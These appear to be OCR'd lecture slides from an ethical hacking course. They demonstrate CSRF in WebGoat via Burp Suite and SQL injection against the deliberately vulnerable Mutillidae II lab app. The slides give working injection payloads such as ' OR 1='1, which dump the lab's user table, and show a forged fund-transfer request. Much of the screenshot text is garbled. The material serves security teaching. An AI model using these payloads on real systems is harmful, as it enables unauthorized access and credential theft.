Referer: http://10.76.5. 101/WebGoat fattack 7Screen=52&menu=900
Cookie: JSESSIONID=822D9COFS2694ESOF1189DADB48BECAE; acopendivids=swingset,jotto,phpbb2, redmine; acgroupswithpersist=nada
Authorization: Basic Z3V1c306Z3V1c30=
Connectien: close
|
=
¥
? < + > Twpe a search term 0 matches

Click Forward on Burp Suite to continue 144
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Cross-Site Request Forgery (CSRF) Setup

Firefox on EH-Kali-xx

r

Cross Site Request Forgery (CSRF) - Mozilla Firefox e ® O

Kali Linux, an Offensive S... xj-""-ﬁ Cross Site Request F... x.-"\\-l-

) (@ | 10.76.5.101/WebGoat/attack? Screen=528&menu=900 = ||Q Search | Ww B ¥+ H =

[ Most Visited v JllOffensive Security S Kali Linux % Kali Docs % Kali Tools EBExploit-DB W Aircrack-ng

I .

Note that the "Screen” and "menu" GET variables will vary between WebGoat buiid!.
Copying the menu link on the left will give you the current values.

LAB: Cross Site Scripting
Stage 1: Stored XSS
Stage 2: Block Stored XSS

using Input Validation Title: ‘ ‘
Stage 3: Stored XS5
Revisited Message:

Stage 4: Block Stored XS5
using Output Encoding

Stage 5: Reflected XSS
Stage 6: Block Reflected XSS
Stored XSS Attacks
Reflected XSS Attacks
Cross Site Request Forgerny

[csRA
CSRF Prompt By-Pass
CSRF Token By-Pass
HTTPOnly Test

Cross Site Tracing (XS .
Aftacks Submit

Improper Error Handling
Injection Flaws

Denial of Service Message List

Insecure Communication s

Insecure Configuration

Insecure Storage Created by Sherifs S

Malicious Execution Koussa oftware

Parameter Tampering v
- [

Select the message with the malicious payload
145
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Cross-Site Request Forgery (CSRF) Setup

Burp Suite on EH-Kali-xx

Burp Suite Free Edition v1.7.03 - Temporary Project e ® O
Burp Intruder Repeater Window Help
[Target T meyT Spider T Scanner T Intruder T Repeater T Sequencer T Decoder T Comparer T Extender T Project options T User options Tnler‘ts ]
j InterceptT HTTP history T WebSaockets history T Options ]
Drop Intercept is on Action Comment this item L+ llJ
Raw Params Headers Hex
GET /WebGoat/attack?Screen=52&menu=200&Num=3 HTTP/1.1 &
Host: 10,75.5.101 -
User-Agent: Mozilla/5.0 (H1l; Linux xB6_64; rv:45.0) Gecko /20100101 Firefox/45.0
tccept: text/html,applications/xhtml+xml,application/xml;q=0.9,+,/%;q=0.8
Accept-Language: en-US,en;q=0.5
ccept-Encoding: gzip, deflate
Referer: ht‘tp:_Hlﬁ.76!.5.lalf'ﬁ'ebGoatJa‘ttack?Scr‘een=52&menu=900&l\lum=3
-
]
? < + = Type a search term 0 matches

Click Forward on Burp Suite to continue 146
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Cross-Site Request Forgery (CSRF) Setup

Burp Suite on EH-Kali-xx

Burp Suite Free Edition v1.7.03 - Temporary Project e O O
Burp Intruder Repesater Window Help
[Target T Prosy T Spider T Scanner T Intruder T Repeater T Seguencer T Decoder T Comparar T Extender T Project options T User options Tnler‘ts ]
_[ |ntercept T HTTP history T WebSockets history T Options ]
LZJ Request to hitp://10.76.5¢.101:80 [unknown host]
l Forward J l Drop J [ Intercept is on ] l Action J Comment this item HHIRE
[Raw T Params T Headers | Hex
CET /WebGoat/attack?Screen=8l&menu=210&t ransferFunds=5000 H'I‘I'Pfl.ll '
L% 1= N v s o g v -
User-Agent: Mozilla/5.0 (¥11; Linux xB86_64; rv:45.0] Gecko/20100101 Firefox/45.0
Accept: image/png,image/*;q=0.8,%/%;q=0.5
Accept-Language: en-US,en;g=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.76.5.101/WebGoat /attack ?Screen=52&menu=900&Nun=3
Connection: clese
-
v
? < + = Tyvpe a search term 0 matches

Note the GET request containing the malicious URL which

147
requests the transfer the bank funds to attacker
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SQL Injection References
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https://www.youtube.com/watch?v=RtN8tlR7q-M

CIS 76 - Lesson 12 ' ' lw

SQL Injection

Used to attack web applications that store data in a SQL
database.

Malicious SQL statements are inserted into input fields of
web forms that when executed can bypass authentication,
dump database contents, tamper with data, or delete
tables in the database.

150


https://en.wikipedia.org/wiki/SQL_injection
https://www.owasp.org/index.php/SQL_Injection

CIS 76 - Lesson 12

SQL Injection

Example Overview:

For this example we will use Mutillidae IT on the EH-OWASP VM
to show how SQL commands can be injected into a web
application. The web application does not check and sanitize the
input so anything added will get executed as a SQL query.

The attacker will browse from EH-Kali to the web server on the
EH-OWASP VM.

The EH-Kali browser does not use the Burp Suite proxy in this
example so the proxy configuration in the last example can be
undone ("Pancakes" icon > Preferences > Advanced > Network

> Settings... > Select "No proxy").

151
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OWASP Mutillidae II

Browse to http://10.76.xx.101 (disable use of proxy by browser)

owaspbwa OWASP Broken Web Applications - Mozilla Firefox e @

J,-"' -ﬂ owaspbwa OWASP B.. x kﬂ webpwnized - YouTube x &
(€)3[® 1723010175 ¢ | [Q Search v E O % A =y

{5 Most Visited v Jll Offensive Security e Kali Linux e Kali Docs S Kali Tools EBExploit-DB Wy Aircrack-ng

owaspbwa

OWASP Broken Web Applications Project

P o N

Version 1.2

This is the VM for the Open Web Application Security Project (OWASP) Broken Web Applications project. It contains many, very vulnerable web
applications, which are listed below. More information about this project can be found in the project User Guide and Home Page.

For details about the known vulnerabilities in these applications, see https://sourceforge.net/p/owaspbwa/tickets/?limit=999&
sort=_severity+asc.

. 111 This VM has many serious security issues. We strongly recommend
[S: that you run it only on the "host only” or "NAT" network in the virtual
machine settings !!!

TRAINING APPLICATIONS

@ OWASP WebGoat @ OWASP WebGoat.NET
@ 0OWASP ESAPI Java SwingSet Interactive ©@0WASP Mutillidae II
OWASP RailsGoat £ OWASP Bricks

& OWASP Security Shepherd @ Ghost

@ Magical Code Injection Rainbow Gpwapp

@ Damn Vulnerable Web Application
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Mozilla Firefox e 0 O
/& http://172...mutillidae/ = ﬂ webpwnized - YouTube x

{ € ) @ |172.30.10.175/mutillidae/ @ ||Q Search W B ¥ & =

fi5 Most Visited v [l Offensive Security “e Kali Linux " Kali Docs ' Kali Tools EMExploit-DB W Aircrack-ng

@4 OWASP Mutillidae Il: Web Pwn in Mass Production

Version: 2.6.24 Security Level: 0 (Hosed) Hints: Disabled (0 - I try harder) Not Logged In

Home Login/Register Toggle Hints Show Popup Hints Toggle Security Enforce SSL Reset DB View Log  View Captured Data
OWASP 2013 L

( Mutillidae: Deliberately Vulnerable Webh Pen-Testing Application ]

E ' Like mutillidae? Check out how to help
? What Should | Do? o

e Help Me!

g
/ ? Bug Tracker @ Bug Report Email Address

Getting ‘Started:
Project

Whitepaper
0 What's New? Click Here Release Announcements

2

Raloasa PHP MyAdmin Console
Announcements -

E Listing of vulnerabilities

. Feature Requests

You & Installation Instructions \‘\' Tools

Toe}

=,
Video

153
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OWASP Mutillidae II

OWASP 2013 > Al Injection (SQL) > SQLi - Extract Data > User Info (SQL)

@« OWASP Mutillidae II: Web Pwn in Mass Proc¢

Version: 2.6.24 Security Level: 0 (Hosed) Hints: Disabled (0 - | try harder) Not

Home Login/Register Toggle Hints Show Popup Hints Toggle Security Enforce SSL Reset DB View Log

OWASP 2013 | Al - Injection (SOL) r - Extract Data

I Al - Injection (Other) F | SOLi - Bypass Authentication

OWASE 2010

A2 - Broken Authentication and SessionP | SOLi - Insert Injection

. ] T | kla nagement | hﬂ'ﬂ tﬂ hEIp
OWASE 20007 = &
Blind SOL wia T i.I.'I.'li.I.'I.g' L

Web Services : T e SQLMAP Practice b
- Insecure Direct Object Reference:# L .
e Via JavaScript Object Notation (JSON)» (TR ITISTgETE

AS - Security Misconfiguration k

Via SOAF Web Service L
Others AG - Sensitive Data Exposure k

Via REST Web Service ¥
| AT - Missing Function Level Access k

Control B Listing of vulnerabilities

Resources ' AB - Cross Site Request Forgery
(CSRF]

Documentation

;7 AS - Using Components with Known
l"il.. Ta -l. iti E- -
ulnerabilitie @ Bug Report Email Address
AlD - Unvalidated Redirects and

Getting Started
Project
Whitansnar | - e

Forwards
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OWASP Mutillidae II

Mozilla Firefox
| & http://172...er-info.php % | & webpwnized - YouTube x |+

o0

'._('l_'_:.'_172.30.10.175."'|":|.ITIllil.'|J.F.-'iI'llI|Ej~< php?page=user-info.php ¢ ||Q Search | w A ¥

[ Most Visited v JllOffensive Security S Kali Linux “e Kali Docs S Kali Tools EBExploit-DB Wy Aircrack-ng

i &y

e OWASP Mutillidae 1I: Web Pwn in Mass Production

Version: 2.6.24 Security Level: 0 (Hosed) Hints: Disabled (0 - I try harder) Not Logged In

Home Loegin/Register Toggle Hints Show Popup Hints Toggle Security Enforce SSL Reset DB View Log  View Captured Data

DOWASPF 2013

— ( User Lookup (SQL)

OWASP 2007 <:;§ Back Q Help Me!

Web Services
el

= A
L Switch to SOAP Web Service version Switch to XPath version
e XML

Others

Documentation  * ‘ Please enter username and password ‘

to view account details

Resources

Name [

T _
Password |
Getting Started:
© I:r!;:lject [ View Account Details ]
Whitepaper

o

Re Ea se
Announcements

Dont have an account?lPiease register here l

You
Tube}

LD
Video

Register a new account for yourself
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OWASP Mutillidae II

Mozilla Firefox [— O <

| % http://172...egister.php x | @ webpwnized - YouTube x | &

( € ) G| 172.30.10.175/mutillidae/index.php? page=register.php @ ||Q Search | s% | & 4+ @/ =
PR e J [l |

[ Most Visited v JllOffensive Security S Kali Linux “§ Kali Docs “e Kali Tools EBExploit-DB Wy Aircrack-ng

®% OWASP Mutillidae II: Web Pwn in Mass Production

Version: 2.6.24 Security Level: 0 (Hosed) Hints: Disabled (0 - I try harder) Not Logged In

Home Login/Register Toggle Hints Show Popup Hints Toggle Security Enforce SSL. Reset DB View Log View Captured Data

OWASF 2013 [

Register for an Account

OWASF 2010

OWASP 2007 % Back g Help Me!

Web Services
s
b A’Ax Switch to RESTful Web Service Version of this Page

Others

Documentation 12

Please choose your username, password and signature ]

Resources [

e
%

foe

Getting Started:

Project Confirm Password [+sssssss

Username [simben76

Password |‘l!.!!..! Password Generator

Whitepaper :

o
Announcements

I love chicken|
Signature

You

! g

Video v

156
Add username, password of your choice and any text for the signature
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OWASP Mutillidae II

Mozilla Firefox

| % http://172...eqgister.php % '-,\ﬂ webpwnized - YouTube x = &

(€) £2)® | 172.30.10.175/mutillidae/index. php?page =register. php @ ||Q Search

Most Visited v Jll Offensive Security "% Kali Linux & Kali Docs " Kali Tools EBExploit-DB Wy Aircrack-ng

OWASF 2 '

web Services »
»

Resources

‘®

Getting Started:
Project
Whitepaper

=

Release
Announcements

You

e
Video
Tutorials

®

OWASP

( Register for an Account

Cﬁ Back @ Help Me!

.........................................................................................................................................

Switch to RESTful Web Service Version of this Page

Please choose your username, password and signature ]

Username
Password Password Generator
Confirm Password

Signature ‘

Create Account

C5RF Protection Information

Posted Token:
{Validation not performed)

Expected Token For This Request:
Token Passed By User For This Request:

MNew Token For Next Request:
Token Stored in Session:

Account has been created
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OWASP Mutillidae II

OWASP 2013 | A1 - Injection [SOL)

Now that we have created a new user, lets start over and login
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OWASP Mutillidae II

Mozilla Firefox

eee

/ % http://172....er-info.php * '-.\B webpwnized - YouTube x4
'ﬁ:_'('_ﬁ' (@ | 172.30.10.175/mutillidae/index.php? page=user-info.php [Fe ||C'xf:earch i w8 4+ ® =2y =
[ Most Visited v JllOffensive Security & Kali Linux “e Kali Docs " Kali Tools EBExploit-DB Wy Aircrack-ng

®% OWASP Mutillidae II: Web Pwn in Mass Production

Hints: Disabled (0 - | try harder) Not Logged In

Version: 2.6.24 Security Level: 0 (Hosed)

egister  Teggle Hints  Show Popup Hints  Toggle Security Enforce SSL Reset DE  View Log  View Captured Data

User Lookup (SQL)

Back g Help Me!
[
Switch to SOAP Web Service version XML Switch to XPath version

[ Please enter username and password

to view account details

Name simben7 &
sssansne

‘h Password
et [ vew ccont oetats ]

Project
Whitepa
per Dont have an account? Please register here

o

Release
Announcements

You

o
Video
Tutorials

® .

Login using your new account
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OWASP Mutillidae II

[ Mozilla Firefox e ® O
) f http://172....nt+Details x \ﬂ webpwnized - YouTube x

(-uf ® | 172.30.10.175/mutillidae/index.php? page =user-info.php&userr | & ||Q Search | % & ¥ i =y =
[ Most Visited v Jll Offensive Security e Kali Linux " Kali Docs "% Kali Tools EBExploit-DB Wy Aircrack-ng

®% OWASP Mutillidae II: Web Pwn in Mass Production

Version: 2.6.24 Security Level: 0 (Hosed) Hints: D {0 -1try ) Not Logged In

Home Login/Register Toggle Hints Show Popup Hints  Toggle Security Enforce SSL Reset DB View Log  View Captured Data

( User Lookup (SQL) ]

Back g Help Me!

[
Switch to SOAP Web Service version ML Switch to XPath version

OWASF 2010

C o7

3
weh Services L
HTML 5 +

m Please enter username and password
m to view account details

Name
"h Password

ke (Ve Accoumt Detads ]

Project
Whitepa
e Dont have an account? Please register here

for 76".1 rds found.
” Username=simben76
Password=password

Rele t | love chicken

Video
Tutorials

® .

If successful your account details will be display below

160



CIS 76 - Lesson 12 b R ‘ l lw

OWASP Mutillidae II

Mozilla Firefox — I TR x

/ & http://172...nt+Details x | @ webpwnized - YouTube x &

€ ) 2 ® [172.30.10.175/mutillidae/index.php?page=user-info.phpi | & ||Q Search [ &% & 3 @ =y

[ Most Visited v [l Offensive Security 4 Kali Linux S Kali Docs “ Kali Tools EBExploit-DB Wy Aircrack-ng

®% OWASP Mutillidae II: Web Pwn in Mass Production

Version: 2.6.24 Security Level: 0 (Hosed) Hints: Disabled (0 - | try harder) Not Logged In

Home Login/Register Toggle Hints  Show Popup Hints  Toggle Security  Enforce SS51 Reset DB View Log  View Captured Data

DWASE 2013 [

User Lookup (SQL)

DWASE 2007 L = Back e Help Me!
"
g T f—!\- I,
“’ﬂx Switch to SOAP Web Service version XML Switch to XPath version

m Please enter username and password
to view account details

Name [—
@ Password [—
Getting stares
Project
Whitepaper Dont have an account? Please register here
‘ Open ~ H a ‘ *Untitled Document 1 ‘ Save H = ‘ @ ® 0O

‘J http://172.30.10.175/mutillidae/index.php?page=user-
info.php&username=simben76&password=password&user-info-php-submit-button=View+Account+Details

Plain Text + Tab Width: 8 = Ln 1, Col 146 - INS

161
Record the URL in a text editor so you can examine the fields
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OWASP Mutillidae II

Mozilla Firefox e ®
4 hitp://172...nt+Details x | & webpwnized - YouTube x | &
€0 '-info.php&username=simben?6&password:[bad]:assword&u| c |¢‘; Search | b= 4+ & =y =

[ Most Visited v Jll Offensive Security S Kali Linux " Kali Docs " Kali Tools EMExploit-DB Wy Aircrack-ng

®% OWASP Mutillidae II: Web Pwn in Mass Production

Version: 2.6.24 Security Level: 0 (Hosed) Hints: Disabled (0 - | try harder) Not Logged In

Home Login/Register Teggle Hints Show Popup Hinls Toggle Security Enforce SS1L Reset DE View Log  View Captured Data

[ User Lookup (SQL)

OWASP 2007 r = Back Q Help Me!

e f—b I
ﬂ,ﬂx Switch to SOAP Web Service version ¥ML Switch to XPath version

m ! Authentication Error: Bad user name or password '

Please enter username and password
to view account details

(] Name ,

Getting Started: Password [
Project
Whitepaper [ View Account Details
Dont have an account? Please register here
” Results for "simben76".0 records found.
Relsénse
Announcements

Tamper with the password portion of the URL to see if you can break it 162
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OWASP Mutillidae II

. ef
single quote added i ©6eeo
/ & http://172...nt+Details * | @ webpwnized - YouTube|x |
€ ) (i info.php&username=simben76&password=password &user-i ¢ ||Qf:earch | B 4+ HF #=v =

[ Most Visited v Jll Offensive Security “e Kali Linux "% Kali Docs “ Kali Tools EMExploit-DB W Aircrack-ng

®% OWASP Mutillidae II: Web Pwn in Mass Production

Version: 2.6.24 Security Level: 0 {(Hosed) Hints: Disabled (0 - | try harder] Not Logged In

Home Login/Register Teggle Hints Show Popup Hints  Teggle Security  Enforce SSL Reset DE - View Log  View Captured Data

[ User Lookup (SQL)

OWASF 2010
OWASP 2007 ] = Back Q Help Me!

: P L
A,Ax Switch to SOAP Web Service version XML Switch to XPath version

m Please enter username and password
to view account details

Name [
@ Password [
Gettl;:]Secti::rhed: [ = 1
Whitepaper :
BOE Dont have an account? Please register here
Error Message
Rel | Failure is always an option |
ease
Announcements | 202 |[278 |
[ tode s |
| File ||a’nwasphwa.’mutillidae-git."l:lassesfl'ﬂy‘jl’.]LHandler.php |
&';i | ||.l'nwasphwa.’mutillidae-git.l’l:lasses.l'HyEl'.]LHan-:ller.php an line 165: Error executing query: | L

Retype the correct password but add a single quote and observe what happens 163
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OWASP Mutillidae II

Error Message

Failure is always an option

|
Code |8 |
File Jowasphwasmutillidae-gits/classes/MySdLlHandler.oh |
fowaspbwa/mutillidae-git/classes/MySdLHandler.php on line 1685: Error executing query:
cannect_errna: @
errna: 1964
Mess errar: You hawve an errar in your 5QL syntax; check the manual that correspands to your My30L server wersion for the right syntax to
i use nmear ''passward''’' at line 2
client_infa: 5.1.73
host_infa: Localhast wia UNIX socket
][l!}uer'g.l: SELECT * FROM accounts WHERE username='simben?d' AMD password='password'' (@] IExl:epti-un]]
#0 Sowaspbwa/mutillidae-git/classes/MyS0LHandler.php{283]: MySdLHandler->doExecuteQuery{ 'SELECT * FROM a...'] #1 fowaspbwa/mutillidas-
Teucn gitf/classes/SQLQueryHandler.php{327): MySOLHandler-»executefuery| 'SELECT * FROM a...') #2 fowaspbwa/mutillidae-gitfuser-info.php{191]:
S0LQueryHandler->getlserfccount | 'simben?6', 'password''] #3 fowaspbwa/mutillidae-git/index.php{614]: require_ance{'/owasphwa
fmutil... ') #4 [main}
I:if:gmﬂ:l Error attempting to display user information

| Click here to reset the DB

http://172.30.10.175/mutillidae/index.php?page=user-
info.php&username=simben/6&password=password&user-info-php-submit-button=View+Account+Details

Query: SELECT * FROM accounts WHERE username='simben76' AND passwurd='passwurd'()

Lots off useful information is shown. Add it to your log in the text editor to use next. 164



CIS 76 - Lesson 12

OWASP Mutillidae II

Mozilla Firefox — I

/% http//172...nt+Details x | @ webpwnized - YouTube x |+

I <al= ¥ A v
[ Most Visited v Jll Offensive Security " Kali Linux "% Kali Docs "% Kali Tools EBExploit-DB W Aircrack-ng

€)? | (@ | info.php&username=simben768&password=password'&us c | |C-§ Search

®% OWASP Mutillidae II: Web Pwn in Mass Production

Version: 2.6.24 Security Level: 0 (Hosed) Hints: Disabled {0 = | try harder) Not Logged In

in/Register Toggle Hints Show Popup Hints  Toggle Security Enforce 551 Reset DB View Log  View Captured Data

( User Lookup (SQL) ]

= By
Switch to SOAP Web Service version Switch to XPath version
i 0

o 007 *
- 1
= - »

Please enter username and password
to view account details

Name
‘h Password ssssssnas
oroject (v recomtosat ]
Project
bl Dont have an account? Please register here
‘ Open = | ‘ j +} ‘ *Untitled Document 1 Save ‘ ‘ = ‘ [ — 1 < )

Query: SELECT * FROM accounts WHERE username='simben76' AND password='passwor (works)
Query: SELECT * FROM accounts WHERE username='simben76' AND password='pas rd'' (gives error)
Query: SELECT * FROM accounts WHERE username='"' AND password='{ElSEas|

Plain Text w  Tab Width: 8 w Ln 6, Col 72 ~ NS

What happens is we use a password of: 'OR 1="1
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OWASP Mutillidae II

Mozilla Firefox e e 0
J § hitp:/f172...nt+Details * | & webpwnized - YouTube x 4

-'_.(-_;{5‘3' (@ | info.php&username=_&password="+0R+1%3D'1&user-int c ||Q‘f:earch | W% B ¥+ fi v

& Most Visited v JllOffensive Security S Kali Linux " Kali Docs % Kali Tools EBExploit-DB W Aircrack-ng

®% OWASP Mutillidae II: Web Pwn in Mass Production

Version: 2.6.24 Security Level: 0 (Hosed)

Hints: Disabled (0 - | try harder) HNot Logged In

in/Register Toggle Hints Show Popup Hints  Toggle Security  Enforce 551 Reset DB

view Log  View Captured Data

; 5| | User Lookup (SQL) ]

= I
mﬁx Switch to SOAP Web Service version ML Switech to XPath version

Please enter username and password
to view account details
Resources

Name |
Password
Getting Started:

-

Whitepaper

Dont have an account? Please register here
[ Results for "".25 records found. ]

Username=admin
Password=admin
Release Signature=g0t root?
Announcements

Username=adrian
Password=somepassword
You Signature=Zombie Films Rock!

Query: SELECT * FROM accounts WHERE username='"' AND password='

Plain Text + Tab Width: 8 w Ln6, Col 72 - INS

That results is a SQL query to dump all the data in the database! 166
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OWASP Mutillidae II

Mozilla Firefox S ® O

II.
/
B

{ bttp://172...nt+Details = \ B webpwnized - YouTube x @

{'_(-}a'f?' @ | info.php&username=2&password="+OR+1%3D'1 &user-int c HQEearch W B ¥+ f =y =

[ Most Visited v Jll Offensive Security S Kali Linux " Kali Docs % Kali Tools EBExploit-DB Wy Aircrack-ng

Username=simba L
Password=password
Signature=| am a super-cat

Username=dreveil
Password=password
Signature=Preparation H

Username=scotty
Password=password
Signature=5cotty do

Username=cal
Password=password
Signature=C-A-T-5 Cats Cats Cats

Username=john
Password=password
Signature=Do the Duggie!

Username=kewvin
Password=42
Signature=Doug Adams rocks

Username=dave
Password=set
Signature=Bet on S.E.T. FTW

Username=patches
Password=tortoise
Signature=meow

Username=rocky
Password=stripes
Signature=treats?

Username=tim

—r 1 e
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OWASP Mutillidae II

Mozilla Firefox o e O

, + http://172...nt+Details x= \ﬂ webpwnized - YouTube x =

(€)20 info.php&username==&password="+0OR+1%3D'1&user-ini c ||Q€:earch | & B 3 H =y =

fi5 Most Visited ¥ Jll Offensive Security S Kali Linux S Kali Docs e Kali Tools EBExploit-DB Wy Aircrack-ng

Signature=meow 'y

Username=rocky
Password=stripes
Signature=treats?

Username=tim
Password=lanmaster53
Signature=Because reconnaissance is hard to spell

Username=ABaker
Password=5o5ecret
Signature=Muffin tops only

Username=FPPan
Password=NotTelling
Signature=Where is Tinker?

Username=CHook
Password=]ollyRoger
Signature=Gator-hater

Username=james
Password=i=3devs
Signature=0ccupation: Researcher

Username=user
Password=user
Signature=User Account

Username=ed
Password=pentest
Signature=Commandline KungFu anyone?

Username=simben76
Password=password
Signature=| love chicken

Query: SELECT * FROM accounts WHERE username='' AND password='

Plain Text +  Tab Width: 8 « Ln &, Col 72 - INS.
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OWASP Mutillidae II

Please enter username and password
to view account details

This will let you log in as a user
without a password

Name [imben76’ OR 1="1

Password [

[ View Account Details ]

[ Results for "simben76' OR 1="1".1 records found. |
Username=simben76

Password=password

Signature=| love chicken
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OWASP Mutillidae II

Please enter username and password
to view account details

Password

[IIIIIIIIIl

[ View Account

e Z'l:ml='1

This will dump all users and
passwords in the database

Bl ¢
|

[

Results for "".25 records found.

Username=admin
Password=admin
Signature=g0t r00t?

Username=adrian
Password=somepassword
Signature=Zombie Films Rock!

Username=john
Password=monkey
Signature=| like the smell of confunk

Username=jeremy
Password=password
Signature=dl1373 1337 speak

Username=hryce
Password=password
Signature=| Love SANS

Username=samurai
Password=samurai
Signature=Carving fools

Username=jim
Password=password
Signature=Rome is burning

Username=bobby
Password=password
Signature=Hank is my dad

Username=simba
Password=password
Signature=| am a super-cat

!
!
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Next Class

Assignment: Check the Calendar Page on the web site to
see what is due next week.

Quiz questions for next class:

« In August 2016, between web server developers Google, Microsoft and
nginx, which had the most active sites?

« What the difference between stored and reflected cross-site scripting?

« What is Cross-Site Request Forgery?
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Backup
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